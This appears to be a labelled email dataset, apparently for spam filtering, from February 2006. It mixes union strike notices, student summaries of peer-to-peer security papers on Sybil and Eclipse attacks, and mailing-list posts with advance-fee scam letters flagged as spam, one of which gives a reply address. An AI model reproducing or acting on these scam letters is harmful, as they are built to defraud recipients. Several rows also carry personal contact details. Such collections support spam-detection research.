organizations and those in Need, as I want this to be one of the last good deeds I do on earth. So far, I have Distributed money to some charity organizations when I was well. Now that my health has deteriorated so badly, I cannot do this myself anymore. I once asked members of my family to close one of my accounts and distribute the money which I have there to charity organization in United States, Asia, Middle East & Europe, they refused and kept the money to themselves. Hence, I do not trust them anymore, as they seem not to be contended with what I have left for them. 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Mr. Boulos Kasstrup ",1,0 Yvonne Aburrow ,aut-discussion@lists.bath.ac.uk,"Mon, 20 Feb 2006 14:27:08 +0000",Urgent - strike dates called (fwd),"Please note: * strike action is on Tuesday 7 March 2006; and * action short of a strike including an assessment boycott is on Wednesday 8 March 2006 and until further notice * further details below Yvonne ~~ Yvonne Aburrow Bath AUT Secretary http://www.bath.ac.uk/aut/ +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk How to subscribe/unsubscribe to/from aut-discussion: Just send an empty note to one of these addresses: : Receive future messages sent to the aut-discussion mailing list. : Stop receiving messages for the aut-discussion mailing list. ------------ Forwarded Message ------------ Date: 20 February 2006 13:51 +0000 From: Matt Waddup To: Info Cc: Matt Waddup , Justine Stephens Subject: Urgent - strike dates called Dear colleague, Last week's ballot result was clearly a surprise to the employers. Despite an unprecedented propaganda assault aimed at persuading members not to support the union, we received strong majorities in support of both strike action and action short of a strike. The same was true of the ballot result of our colleagues at NATFHE. Full details of the results can be found here http://www.aut.org.uk/index.cfm?articleid=1522 The officers of AUT have now met and we are asking AUT members to: * take strike action on Tuesday 7 March 2006; and * action short of a strike including an assessment boycott on Wednesday 8 March 2006 and until further notice NATFHE members will be asked to do the same. We have produced guidance on what action short of a strike means and you can download it here: http://www.aut.org.uk/index.cfm?articleid=1523 Speaking today after the decision of AUT and NATFHE to take industrial action forward, AUT general secretary Sally Hunt said: ""Our decision to take industrial action has not been taken lightly. The employers have had months to stop this happening and even after our resounding mandate from members they still haven't made us a pay offer. I am extremely saddened that it has got this far and can fully understand the fears and frustration of students and their parents. How the employers can claim their staff and their students are so important to them and then treat both so shabbily is beyond me. The universities are gambling disgracefully with students' futures and I would ask them to think again and at last offer serious negotiations without pre-conditions. For our part AUT and NATFHE are committed to a negotiated solution. If the employers do now finally actually come up with an offer that meets our claim there will be no need for industrial action."" Given their initial response however we need to plan to make the action as effective as possible, and we need your help as an AUT member. Now that we have a democratic decision the union will be asking all members to participate in the action that begins on the 7th. The more effective it is, the more likely we are to get an offer that reflects your worth -- but you can help us still further by: * Turning up to picket on 7 March * Offering help in the campaign to your local association * Supporting fully the action short of a strike, including the boycott of assessment * Writing to local and national papers and explaining to students our case Support for our case is already building up. Only yesterday the Observer in an Editorial described academic pay as ""appalling"". If you want to read more about what the media are saying go to our media digest at http://www.aut.org.uk/index.cfm?articleid=1526 Over the coming days we will be providing you with plenty of resources to help you play your part. It is your union and your pay and future pension we are fighting for so please get involved. * GET BEHIND YOUR UNION * SUPPORT THE STRIKE ON 7 MARCH * SUPPORT THE ACTION SHORT OF A STRIKE FROM 8 MARCH All/Best Matt Waddup, ags ---------- End Forwarded Message ----------",0,1 Emmanuel Anthony ,diego.latella@cnuce.cnr.it,"Tue, 21 Feb 2006 02:06:04 +0300",CONFIDENTIAL," Attention. It is my pleasure to present my compliments. However, My name is Mr. Emmanuel Anthony; the former financial adviser to Charles Taylor the ex-Liberian president. I got your contact from a very reliable friend who works with the chamber of commerce. During the tenure of Charles Taylor as the President of Liberia, I assisted him a lot in the investment of over 60% of his funds and also recommended to him some reputable banks and Security Companies where he deposited some of his money as well. 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Send your reply to my wife's private email at issybekee@yahoo.com who shall work with you in conjunction with my family lawyer for the actualization of this project with your help. I await your swift response. Best Regards, Mr. Emmanuel Anthony. ",1,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Mon, 20 Feb 2006 19:05:33 -0500",PAPER 8,"Andrew Cunningham arc39 _The_Sybil_Attack_ John R Douceur The essential point of this paper is a taunting one: to reduce loss due to failure, redundancy can be employed; however, if the scenario involves a malicious entity, then if they can leverage sufficient resources, they can seize a considerable amount of control. The paper also proves that logically centralized authorities can prevent Sybil attacks, but that otherwise, extreme and unrealistic assumptions about attacker capabilities must be made (and thus vulnerabilities introduced). The difficulty here lies that it is not just redundancy which can be impacted by one attacker who can lay claim to multiple identities -- in cases of data being split among several entities, it can lead to data leakage; thus, the system must ensure that distinct identities refer to distinct entities. The assumption on relative resources (because, of course, with unbounded greater resources, an attacker can do nearly anything) is very weak: merely that there exists some n for which all entities can perform operations which are polynomial in n, but no entities can perform super-polynomial operations in n. The central concept was that the only way in-band to prove that two entities are separate is for the two to perform some computation in time that would tie up all of the resources of a single entity, and thus the identities must belong to separate entities. However, even this is not good enough, since it does not rule out collusion! Also, it assumes a certain degree of homogeneity; the assumption is easily broken by a motivated attacker, which is perhaps the threat model of every system. Once accepted, the paper goes on to indicate that identities may be able (depending on system) to vouch for other entities; thus the danger is that faulty entities can (under the presented model) amplify their influence. The problem is with the presented model of delegating identity verification: If we require not just individuals vouching, but paths vouching, then we can detect whether this attack is being used (or at least moderate the flow) based on the presented path contianing duplicates. _Defending_Against_Eclipse_Attacks_on_Overlay_Networks_ Atul Singh, Miguel Castro, Peter Druschel, Antony Rowstron In an overlay network, as the attacker compromises more and more nodes, their influence grows superlinearly; specifically, if the attacker can compromise a large fraction of the neighbors of a correct node, then they may 'eclipse' that node, preventing correct operation. It may be launched via a Sybil attack or via collusion, and is a higher order problem as attackers may manipulate the overlay maintenance algorithm to mount the Eclipse attack. The insight of the paper is that indegree of attacker nodes is going to be greater than that of ""honest"" nodes, and thus bounding this indegree mediates the attack, and to avoid the problem this creates by bounding outdegree as well. The defense hinges on a solution to distributing node identifier, which is not trivially solved, as the attacker cannot easily be prevented from gathering multiple identities, merely slowed. The auditing method uses source rewriting to have a set of nodes perform in- and out-degree queries on behalf of other nodes on the network. Since there are a set of indirect nodes, as long as we assume there are f failures and the set is of size 2*f+1, we can absolutely ensure correct behavior. This is polynomial in f, but capable of growing quite large. Moreover, it uses only shallow source re-writing, which means that a single compromised node can do significant damage; in fairness, however, in the peer to peer domain it is difficult enough to discover incorrect behavior, let alone absorb its damage flawlessly. _Secure_Routing_For_Structured_Peer_to_Peer_Overlay_Networks_ Miguel Castro, Peter Druschel, Ayalvadi Ganesh, Antony Rowstron, Dan S. Wallach This paper explores some of the capabilities of incorrectly functioning nodes in terms of message delivery through peer-to-peer overlays. They split the weaknesses of peer to peer systems into three domains -- secure identification, routing table maintenance, and message routing -- and propose solutions for each vector of attack. Secure identification is in some senses a punted issue in this paper, as the solution is to require out-of-band verification of separate identities, or a weaker guarantee than separate identities. The only ""resource"" which we can assume is equally shared between users, and no replicable due to collusion, etc, is time; the paper proposes & rejects a cryptographic puzzle solution. Secure routing depends on good information which depends on secure identities; thus the solution to one aids the solution to the other. Their solution is to maintain, parallel to the optimized routing table, a second routing table with constrained choices, making the attacker's chance of having an entry in the table proportional to the number of nodes the attacker controls (rather than much greater). This segment does not, however, handle how to remove compromised nodes from the secure list, but merely uses it as a backup. Finally, secure message passing relies on replicating messages; this is a secure and inoffensive method of passing, though prevents information loss, not information leakage. ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Mon, 20 Feb 2006 23:51:10 -0500",PAPER 8,"* The three papers discuss security issues in peer-to-peer systems and present several defenses against the attacks. * The first paper presents Sybil attack: entities can counterfeit multiple identities to compromise the redundancy in peer-to-peer systems, and shows that this attack is always possible in the absence of trusted authority. * The second paper proposes a defense against Eclipse attack: attackers may control a large fraction of the neighbor of correct nodes even with only a small fraction of faulty nodes. * Secure routing in the third paper guarantees correct message delivery in the presence of malicious nodes by secure assignment of node identifier, secure routing table maintenance and secure message forwarding. [Comments] Other attacks include an attacker keeps inserting objects to bring down the system or an attacker inserts lots of different content of an object (the same name and key) to interfere with the correct one. * Large-scale peer-to-peer systems rely on redundancy to resist hostile remote entities. That a small number of remote entities forge multiple identities to break this resistance is called Sybil attack. * This paper presents a general distributed computing model whose environment is friendly, that is, each entity is placed minimal resource restriction and public-key cryptography is allowed, and show that faulty entities can counterfeit multiple identities unless correct entities validate all the identities simultaneously. * In the absence of trust authority, an entity may discriminate the identities by resource challenges by assuming resources of attackers are limited. In their model, three resources: communication, storage and computation are discussed. Concurrency is a very important requirement when performing resource challenges in either case of direct identity validation or indirect (via a group of identities that the entity has accepted) identity validation. * This paper proposes a defense against Eclipse attack by bounding the indegree and outdegree of nodes in choosing neighbors in structure peer-to-peer overlays. * Eclipse attack is launched either by populating the neighbor sets of correct nodes with a lot of fake identities (via Sybil attack) or by exploiting the routing table maintenance algorithm. * Unstructured peer-to-peer overlays are extremely vulnerable to Eclipse attacks since its selection of routing paths can easily been biased by attackers. Structured overlays are more resilient to these attacks because they assign uniform identifier to nodes, thus imposing more strict constraints on the neighbor sets. This property, on the other hand, limits the possibility to implement locality optimization. * The defense proposed in this paper, by auditing to enforce degree bounds, can be applied to both unstructured and structured overlays. It also permits performance optimization like proximity neighbor selection. In their approach, indegree is measured by entries of the back pointer list while the outdegree is measured by the size of neighbor set. Nodes choose neighbors who indegree and outdegree are below a threshold. They rely on certified node identifier to authenticate the replies of auditing challenges. Finally, an anonymous channel that challenges are relayed through a set of intermediate nodes (anonymizer nodes) is adopted in their approach. * [Issues] They perform experiments on Pastry and enforce bounds per routing table row because fitting malicious neighbors in the top rows is more severe. The results show that their defense is effective but increases delays in the absence of attacks. Besides, the measurements of indegree and outdegree need to be improved in a system with constant churn. * This paper proposes a secure routing scheme, which consists of secure assignment of node identifier, secure routing table maintenance and secure message forwarding, to guarantee correct message delivery in structured peer-to-peer overlays in the presence of malicious nodes. * In their model, an adversary has control over the network-level communication between malicious nodes, and these nodes may collude to cause damage to the system. Their secure routing primitive ensures that a query message sent by a correct node reaches all correct replica roots with high probability. * For secure assignment of node identifier, trusted certification authorities are used to sign certificates that bind a random node identifier to a principal’s public key and its IP address. The inclusion of IP address is important since an attacker now can’t freely move certificates across the nodes. To prevent attackers from getting a large number of certificates, users are required to pay money or present real-world identity. A less effective approach to generate certificates in a distributed fashion is using crypto puzzles. * For secure routing table maintenance, they use two routing tables: one that exploits network proximity for efficient routing and one that constrains table entries. The first table (as in Pastry and Tapestry) is used in normal operations to achieve good performance. Since attackers can fake proximity to introduce bad entries to this table, the second table (as in Chord), where strong constraints are imposed on choosing nodes identifiers, is used when previous routing fails. * For secure message routing, they apply a failure test to determine if a routing works and perform redundant routing if the failure test returns positive. Attackers may collect certificates of nodes that have left and include correct nodes in a prospective root neighbor sets to affect the failure test. So the sender needs to contact the neighbors to determine if they are alive and have valid certificates. Another nodeId suppression attack which may increase the false positives and false negatives in the test remain inevitable in decreasing the accuracy of the test. The idea of redundant routing is to route copies of the message over multiple paths toward each of the replica roots. As the cost is high, several parameters can be tuned to tradeoff security for performance. Rather, self-certifying data can be stored on replica roots; their integrity is checked by the client and only when it fails does the client resort to secure routing, thus minimizing the use (and overhead) of the secure routing scheme.",0,0 Ian Kash ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 00:16:27 -0500",PAPER 8,"The Sybil Attack presents a class of attacks on P2P systems based on an attacker obtaining multiple identities. The first attack is that a well provisioned entity can exploit the fact that he has a multiple of the resources of a minimally provisioned entity to appear as multiple minimal entities. It identities are not verfied directly, and are instead verified by having a certain number of established entities vote to accept them, an attacker with sufficient resources to establish a voting block of the required size can create an unlimited number of identities. Finally, in both cases, if identities are not all verified at the same time, even a minimal entity can sequentially create an unlimited number of identities. One factor that seems to be overlooked is that no additional work is required to provide a cost for maintaining multiple identities. The costs of overlay maintainance and routing may, in many systems, provide enough of a cost to keep the number of potential sybils small. Secure Routing for Structured Peer-to-Peer Overlay Networks presents a variety of techniques for securing overlays against malicious nodes. The property that they seek to provide is: ""when a non-faulty node sends a message to a key k, the message reaches all non-faulty members in the set of replica roots R_k [i.e. those nodes storing a copy of the object with key k]with very high probability."" To provide this guarantee, they examine ways to provide three lower level properties. The first is that the assignment of nodeIDs is secure. They propose using real world certification of nodeIDs to make difficult or prevent obtaining multiple or carefully chosed IDs. They reject distributed solutions on the grounds that none they are aware of prevent obtaining a large collection of IDs over time. To ensure attackers cannot hijack the routing table, they propose constraining the routing table so that only a single node can fill any slot (as in chord). This prevents an attacker from being able to fill a large number of slots with a small number of nodes and also ensures that filling any chosen slot with a random nodeID is unlikely. Finally, they examine ways to ensure that messages are delivered even if some nodes along the path are faulty. Their proposal is to use redundant paths to ensure that a single node can not prevent any pair from communicating. Eclipse attacks proposes a different solution to this same problem. By bounding the indegree of nodes, it prevents a small group of nodes from altering the routing tables so that a large fraction of messages must pass through them. This presents a new problem because now a small group of nodes can take up the entire indegree of a large group of nodes, cutting them out. To prevent this, the outdegree must also be bounded. An auditing scheme is used to enforce these bounds. Another possibility these papers could have considered is an expander graph type structure. The fact that the neighborhood of a node grows exponentially fast may be sufficient to provide the diversity of paths needed to prevent a small set of nodes from controlling routing. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 00:52:27 -0500",PAPER 8,"THE SYBIL ATTACK In The Sybil Attack, Douceur suggests that in a distributed computing environment, it is impossible (barring unrealistic assumptions about network homogeneity) to keep newly entering nodes from presenting multiple network identities. These nodes can then defeat network security measures which rely upon node wise redundancy in the network, performing what is known as a Sybil Attack. The following general network model is formed: There are a set of entities, a broadcast communication cloud, and a pipe connecting each entity to the cloud. A subset of the entities are faulty or compromised nodes, and the rest are correct, or honest. Nodes may have different computation resources, except that no node posses the power do crack a public key session between two entities. Douceur suggests three methods of identifying an entity based on it's resources: latency, storage resources, and computational resources. He then gives four Lemmas regarding an entity's ability to claim multiple identities. The 1st two lemmas result from an overly capable node dividing it's resources to act as multiple nodes. If verification for each identity is not simultaneous, the faulty node can reuse it's resources to spoof an arbitrary number of identities. Lemmas 3 & 4 hold If in the system allows indirect verification. Lemma 3 states that if there exists enough faulty nodes to vouch for an identity, that collection of faulty nodes can vouch for an arbitrary number of false identities. Lemma 4 essentially combines Lemmas 2 & 3, allowing a single faulty node to vouch for an arbitrary number of identities. These lemmas in general do not bode well for peer-to-peer networks in general, however they are derived from a very simple network view, and so it should be possible to overcome some of these limitations. Primarily, it does not account for the use of any side channel information to verify node identities. For instance, in a sensor network, where node transmission ranges do not extend across the whole network, a single node cannot appear to exist at multiple points within the network. Thus, a node masquerading as many would have to appear to be a cluster of nodes, suggesting that redundancy could be spread across space rather than nodes, defeating the Sybil Attack. DEFENDING AGAINST ECLIPSE ATTACKS ON OVERLAY NETWORKS The eclipse attack is a more general attack than the Sybil attack, achieved by gaining control of the neighbor links of an overlay node and interfering with that correct nodes communication with the rest of the overlay network. Primarily, the authors suggest nodes which are attempting an eclipse attack will have high indegree as they try to isolate correct nodes. A simple solution is then to only connect to nodes with a sufficiently low indegree. This allows for another attack whereby attacker nodes attempt to raise the indegree of correct nodes. This can be avoided by limiting the outdegree of correct nodes. The authors note that this simple criteria can be applied to both structured and unstructured networks. Unstructured overlays are the mot vulnerable to eclipse attack, as the flooding or random walk searches used by these overlays allow messages to reach a large number of attacker nodes. In structured networks, many latency optimizations based on network heterogeneity increase the network's susceptibility to eclipse attacks (e.g. proximity neighbor selection, indegree proportional to node capacity). The authors propose the following method of validating a node's reported indegree and outdegree, provided that the overlay already can protect against Sybill attacks: Each node keeps a list of all known nodes linking to it, called a back pointer list. Periodically the node challenges its neighbors to produce their neighbor list. If a returned list is too large, or it does not contain the requesting node, the requesting node will remove that node from its neighbor list. To validate outdegree, each node periodically challenges each node on its back pointer list for its neighbor set. If the requesting node is not in the list, or the list is too large, the offending node is removed. In structured networks, it is required that backpointers are spread across different prefixes or routing table rows so that attackers cannot gain complete control of a routing hop. These requests are routed through anonymizer nodes to to conceal the identity of the requester, so appropriate backpointer lists cannot be forged. The system is simulated on top of a Pastry implementation, and reduces routing table infection by malicious nodes from ~%80 to %25 with perfectly accurate degree reports. A separate test is performed using the anonymizing scheme for backlist requests showing that it reduces routing table infection. Unfortunately these analyses do not consider the load placed on the network from the additional messages sent including anonymizations for node indegree and outdegree verification, and no nodes join or leave the network during simulations. SECURE ROUTING FOR STRUCTURED PEER-TO-PEER OVERLAY NETWORKS The authors propose a method of securing peer-to-peer networks such as Pastry, Tapestry, Chord, or others. They describe a method of providing a secure routing primitive, ensuring that a message will eventually reach at least one root node responsible for that key, thereby which overlay network security can be maintained. To achieve the secure routing primitive, three challenges must be addressed: Secure nodeId assignment, securely maintaining routing tables, and securely forwarding messages. To achieve sure nodeId assignment, the authors suggest the use of public key cryptography and CAs to hand out nodeId's, and possibly charge for nodeId's to make attacks costly. If this is not available, they suggest that nodes earn their id's through solving cryptographic puzzles, although they acknowledge the limitations of this solution. Secure nodeId assignment helps in the secure routing table problem but is not sufficient for systems which use proximity routing, and is not helpful in systems where it is difficult to detect malicious network updates masquerading as node join/leave messages. As a solution, the authors suggest that in networks using proximity routing, a backup routing table is maintained which does not use proximity information and works only in the nodeId space. When a message fails to be routed, the system reverts to the backup table. Secure routing is achieved by a detection method for failed routes and a rerouting scheme designed to overcome these failures. Failure detection is based upon the fact that most of the nodes in the system are not compromised, and thus colluding nodes will produce lower than expected set of replicas of a key. However, the authors admit that the detection scheme will fail, and so provide the rerouting mechanism, essentially a multicast. Finally, the authors give some performance evaluation of their system implemented on top of Pastry, and note the benefit of self-certifying data for reduction in cost of the secure routing primitive. Although this system succeeds to some extend in securing the overlay network, it does so building on secure assignment of nodeIds, suggesting that only a centralized scheme providing CA's can achieve this. This limits the P2P aspect of the system. Also, it solves later challenges essentially with additional redundancy and network overhead, rather than architectural changes to the underlying system. ",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Tue, 21 Feb 2006 01:09:11 -0600",Tutorial session,"Hi, We will review the various equations/metrics for measuring performance of machines in this week's tutorial session. I am also planning to spend sometime on reviewing all the homework solutions. Madhavi ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 00:42:31 -0500",PAPER 9," Sybil: A Sybil attack is when a given principal acquires many different IDs, in order to take control of a disproportionate fraction of the network, to do damage. A Sybil attack, properly defined, is a building block of some other attack. In order to prove strong security properties, it would be very nice to be able to show that distinct machines in a P2P network are owned by different principals. Alas, the central result of this paper is that there are no good strategies for limiting Sybil attacks. In particular, techniques for directly proving that two hosts are distinct via network have an error margin proportional to the difference in resources between a ""powerful"" host and a ""weak"" one. Different hosts must be tested simultaneously, rendering distributed challenges difficult. Vouching schemes are also problematic. The Sybil paper unfortunately does a fairly shallow analysis. It implicitly assumes that all authentication must be done across the network, through messages. It assumes that every malicious node has a valid identity. It implicitly assumes that identities are either accepted or not, with no middle ground. Eclipse: In an eclipse attack, the attacker attempts to inject faulty nodes into every entry in the target host's routing table, with an eye to preventing proper overlay operations. In the end, the target host may have all its network operations mediated through hostile nodes. To make this attack harder, the authors propose to limit the degree of nodes in the overlay network. They propose a protocol for this, in which nodes can anonymously query their neighbors to verify that their neighbor's table includes them, and has a legal degree. If not, then that neighbor is dropped. This defense is only partial. The anonymous query protocol proposed has a number of weaknesses. If an attacker controls a node and its entire anonymity set, the protocol fails. An attacker can also cause innocent nodes to be marked as suspicious by falsifying their responses. And even if the protocol works properly, an attacker's fraction of routing table entries can still be substantially higher than their fraction of overall nodes. Secure routing on structured overlays: This paper proposes a general scheme for reliable delivery of messages on peer-to-peer networks, in the presence of malicious nodes. Messages are sent redundantly, to each of several root nodes for a given object. The authors propose to use two routing tables, one optimized for speed, the other constrained deterministically to limit an attacker's flexibility. This does allow something otherwise impossible--very reliable behavior, with a substantial fraction of the network compromised. The protocol fails when more than around 25% of nodes are compromised. When it does work, the proposed protocol is quite expensive, with substantial time and message cost; an attacker can easily force it every time, which would significantly degrade the network. Another weakness is that the paper does not offer suggestions for cheaper protocols when the threat level is less severe. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 01:17:00 -0500",PAPER 8,"Niranjan Sivakumar The Sybil Attack Defending Against Eclipse Attacks on Overlay Networks Secure Routing for Structured Peer-to-Peer Overlay Networks The Sybil Attack describes an attack on a p2p network overlay where single attackers can masquerade as numerous nodes on the network. The attack is on a network that does not have a central centralized trust verification system, but that allows public key cryptography. A simple generic model of a p2p network was proposed. The paper illustrates that even with techniques such as testing resource metrics, the realities of a heterogenous network and time coordination issues make it possible for a single attacker to deal with the challenges that they are faced with and to continue to masquerade. Having indirect identity validation also creates a problem as the attacker can basically vouch for itself through it's multiple identities. Eclipse attacks are somewhat similar to Sybil attacks, but more general. Essentially, the attacker uses either a Sybil attack or takes advantage of structural features of an overlay network to ""eclipse"" nodes by taking over their neighborhood and not allowing messages to pass to or from the target node. Unstructured overlays, such as Gnutella, are shown to be most vulnerable to such attacks because there are no constraints on a node's neighbor set. Though structured overlays can be somewhat more resilient to these attacks, they are not invulnerable. The paper proposes a method of degree bounding to combat eclipse attacks. In and out degrees bounds are audited anonymously in order to avoid falsified answers. The Secure Routing paper deals with a ensuring that messages are passed correctly in a structured p2p network even in the presence of malicious nodes. The paper first stipulates that the network must have secure nodeId assignment, and proposes that this is done with trusted certification authorities. The paper rejects the notion of distributed nodeId generation saying that there are fundamental security limitations in this scheme. The paper also mentions a need to maintain secure routing tables where invalid entries in tables are kept bounded. The paper proposes that two routing tables are maintained, one that constrains table entries and one that is based on efficient routing. Finally, the paper wants secure message forwarding. The solution is to be able to detect faults and to have redundant paths to forward messages. The general basis of the routing failure test that is provided compares nodeId densities around a sender and replica roots of the destination key (the example provided is for Pastry.) In the event of a detected error, messages are forwarded through redundant routes. The paper selects this method for seucure message forwarding over a technique of checked iterative routing. The Sybil Attack paper's general and somewhat simple network view may limit their ability to analyze solutions that, while perhaps not perfect, may alleviate this problem. Some techniques have been proposed for dealing with Sybil attacks in sensor and wireless networks where resource constraints and characteristics are more clearly defined (e.g. radio resource testing and random key predistribution). There are some unanswered issues in the Eclipse paper, particularly related to techniques that would work on an unstructured network, but this is mentioned by the authors as they have only presented a work in progress. There does seem to be a bit of strain put on the system from their defense method, and the audits could become a little more difficult to handle in a network with a lot of churn. The Secure Routing paper seems to be limited since one of the cornerstones of their approach is having secure nodeIds. They base this on having certification authorities, but it is not clear that this system is feasible for all kinds of p2p networks, as was illustrated in the Sybil Attack paper. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Tue, 21 Feb 2006 02:09:11 -0500",paper 8,"The first two papers focus on two kinds of related attacks that can be launched on P2P networks. The first is Sybil, which is where an attacker tries to forge multiple identities in order to undermine the system. The paper outlines several requirements that can be put into place to restrict the number of identities a single entity could assume, which even though it cannot fully prevent a Sybil attack, can severely limit the amount of damage that can be done. The basic requirements are some sort of constrained resource test for validation that is conducted simultaneously across the network. In that case, if the test requires c resources to answer correctly and a fradulent entity has at most k times more resources, then that entity can assume at most k identities since the validation is done simultaneously. The second paper deals with Eclipse attacks, where an attacker tries to take control of the routing done in a network by inserting itself or other faulty nodes into numerous routing tables and links. The base assumption is that the network has some constraint of the type above on Sybil attacks; otherwise, an attacker could forge multiple identities and simply overwhelm the number of legitimate nodes with faulty ones. The authors limit the damage a node can do by limiting the out- and in-degree of nodes, so that no node is pointed to by too many nodes, and no node takes up the in-degrees of too many nodes. This prevents a small fraction of the nodes from dominating a large fraction of the routing table entries, and increase the probability that routing paths chosen do not pass through faulty nodes. The degree bounds are enforced using anonymous auditing to check the neighbor sets of its neighbors. Assuming that the anonymity works and the challenged node does not know who issued the challenge, the challenged node would have difficulty faking a neighbor set that contains the unknown node while hiding some of its out-degrees so that it appears as if it is under the limit. The last paper is far more general than either of the previous ones. It investigates three factors in P2P network security: nodeID generation, routing table maintenence, and message routing. For nodeID generation, their conclusion was that distributed generation is unable to prevent Sybil attacks, and that the best bet was to have a Certifying Authority with a requirement for attaining a certificate to make it expensive or impossible to obtain a large number of certificates (eg. monetary or unique identifications). For routing table updates, they constrain the routing table and use multiple bootstraps to prevent a corrupt bootstrap from unduly influencing a new node. The constraints could be such things as the out- in-degree constraints from the Eclipse paper, though the authors here do not offer any specific suggestions. The main content of the paper involves routing failure detection. The authors add deterministically chosen replicas for every root, and when a node initiates a query, it checks to ensure that the node it is sending the query to has a valid set of replicas. For Pastry, the replicas are the neighborhood leaf set, and the deterministic property of that is a probabilistic maximum width of the set and a balanced left-right property. If the replica set returned from the targetted key node is deemed to be invalid or doesn't even reach the sender, then redundant routing is initiated. The idea outlined in the Eclipse paper still seems quite vulnerable to attackers. Even though it would be difficult to control the entire routing table of the majority of the nodes in the network, a dedicated set of faulty nodes could still consume all of the in-degrees of certain selected sections of a network, possibly partitioning that segment of the ring. Furthermore, all of the ideas outlined in the three papers are only feasible for networks above a certain size. Smaller networks are naturally much more vulnerable since an attacker could easily muster the resources or entities to control the majority of the nodes in it. ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Tue, 21 Feb 2006 02:21:52 -0800",[DMDX] Die thread die!,"I am having a rash of input threads that fail to die too ... oddly (?) enough, on the most pathetically simple DMDX script ever to have been written: 0 ""pPASAT.bmp"" ; 1000 l ; ... show a questionnaire on the screen (BMP), press response switch to exit. Like sand in ones socks, the error is mildly annoying, but not at all fatal. JCF, thanks for all your great work on DMDX! - Derek ---------from list serv --------------------- >When the program end, it would show a sentence, ""wait for input thread to >die failed"". What does it mean? It's safe to ignore thread failing to die messages. Some machines seem to take forever to kill off threads that were doing things that are part a job that was running, usually it's a video retrace thread, this is the first instance of an input thread failing to die that I recall. Alas I never get to see such machines so never get to fully investigate them but the work of running the item file and saving the data has already been done so they are of no consequence. If the thread was responsible for saving data or some such thing there would be cause for concern but no thread is so it's just a case of me religiously sticking error messages around everything that possibly could fail and you having a machine that for some reason takes forever to kill off threads. --- ""j.c.f."" Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com",0,1 """Ryan S. Peterson"" ",egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 05:03:56 -0500",PAPER 8,"Douceur introduces the concept of a Sybil attack on a peer-to-peer system as an attempt by malicious users to thwart the normal operation of the network by creating multiple identities. In addition to describing the negative effects of Sybil attacks, the author proves that reasonable p2p systems have no hope of completely avoiding them. Most importantly, Douceur shows that large p2p systems are vulnerable to Sybil attacks for two reasons. First, as the number of total nodes increases, the number of malicious identities (multiple identities actually mapping to the same ""real"" entity) is also likely to increase. When the number of malicious nodes reaches a threshold, there are enough of them to launch an attack against some portion of the network. Second, if the correct (""honest"") nodes in the system are required to accept new nodes into the system by verifying their trust, either directly or indirectly through other trusted nodes, they must synchronize their ""accepting time intervals"" to avoid accepting malicious nodes. Both problems demonstrate the vulnerability of p2p networks as they scale to large sizes, suggesting a difficult tradeoff in p2p system design: size versus security. Singh, et al. present a more general form of attacks on p2p networks called eclipse attacks and offer a method for preventing such attacks in some networks. Eclipse attacks are characterized by one or more malicious nodes hijacking connections to correct nodes, hiding the correct nodes from network view and possibly disrupting the network by acting on packets originally destined for the eclipsed nodes. The authors' main contribution is a defense against such attacks by capping the degree of each node in the system. Nodes involved in an eclipse attack necessarily have more incoming edges than correct nodes since they receive traffic destined for the hidden nodes. Therefore, by monitoring the degrees of neighboring nodes, correct nodes can decide which nodes are malicious and avoid them. The paper also presents an anonymous auditing protocol for periodically testing neighbor nodes to determine their degrees, removing them from their neighbor list if they exceed the degree limit. One limitation of this work is that it is designed for unstructured p2p networks, and does not easily transfer to structure networks such as Pastry and Chord. The final paper, Secure routing for structured peer-to-peer overlay networks, by Castro, et al. describes security in p2p systems, presenting and implementing a secure version of Pastry. The modified Pastry focuses on security in three aspects: node ids, node routing tables, and node forwarding. By creating a strict protocol over the the three domains, the resulting system guarantees that a message sent from a correct node will make it to its destination within the network with very high probability assuming a bounded number of malicious nodes, a claim much stronger than previous similar work. To ensure security in node routing tables, the protocol places strict constraints on what types of nodes each location of the routing table can point to. The intuition for secure forwarding is that a node sends a message normally and sets a timeout. If the timeout expires without receiving a response from the destination node, the sender assumes a malicious node intercepted the message, and so the sender resends the message via multiple, hopefully disjoint paths to the sender. With high probability, one path will contain only correct nodes, and the message will reach its destination. Experiments and analysis show that a network can withstand 25% malicious nodes without compromising the network. Ryan ",0,0 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Tue, 21 Feb 2006 06:45:22 -0500",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 17 messages in your spam quarantine inbox. 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At 02:21 AM 2/21/2006 -0800, you wrote: >I am having a rash of input threads that fail to die >too ... oddly (?) enough, on the most pathetically >simple DMDX script ever to have been written: > > > mouse> >0 ""pPASAT.bmp"" ; >1000 l ; > >.. show a questionnaire on the screen (BMP), press >response switch to exit. > >Like sand in ones socks, the error is mildly annoying, >but not at all fatal. > >JCF, thanks for all your great work on DMDX! > >- Derek > > >---------from list serv --------------------- > >When the program end, it would show a sentence, ""wait >for input thread to > >die failed"". What does it mean? > > > It's safe to ignore thread failing to die messages. > Some machines seem >to take forever to kill off threads that were doing >things that are part a >job that was running, usually it's a video retrace >thread, this is the >first instance of an input thread failing to die that >I recall. Alas I >never get to see such machines so never get to fully >investigate them but >the work of running the item file and saving the data >has already been done >so they are of no consequence. If the thread was >responsible for saving >data or some such thing there would be cause for >concern but no thread is >so it's just a case of me religiously sticking error >messages around >everything that possibly could fail and you having a >machine that 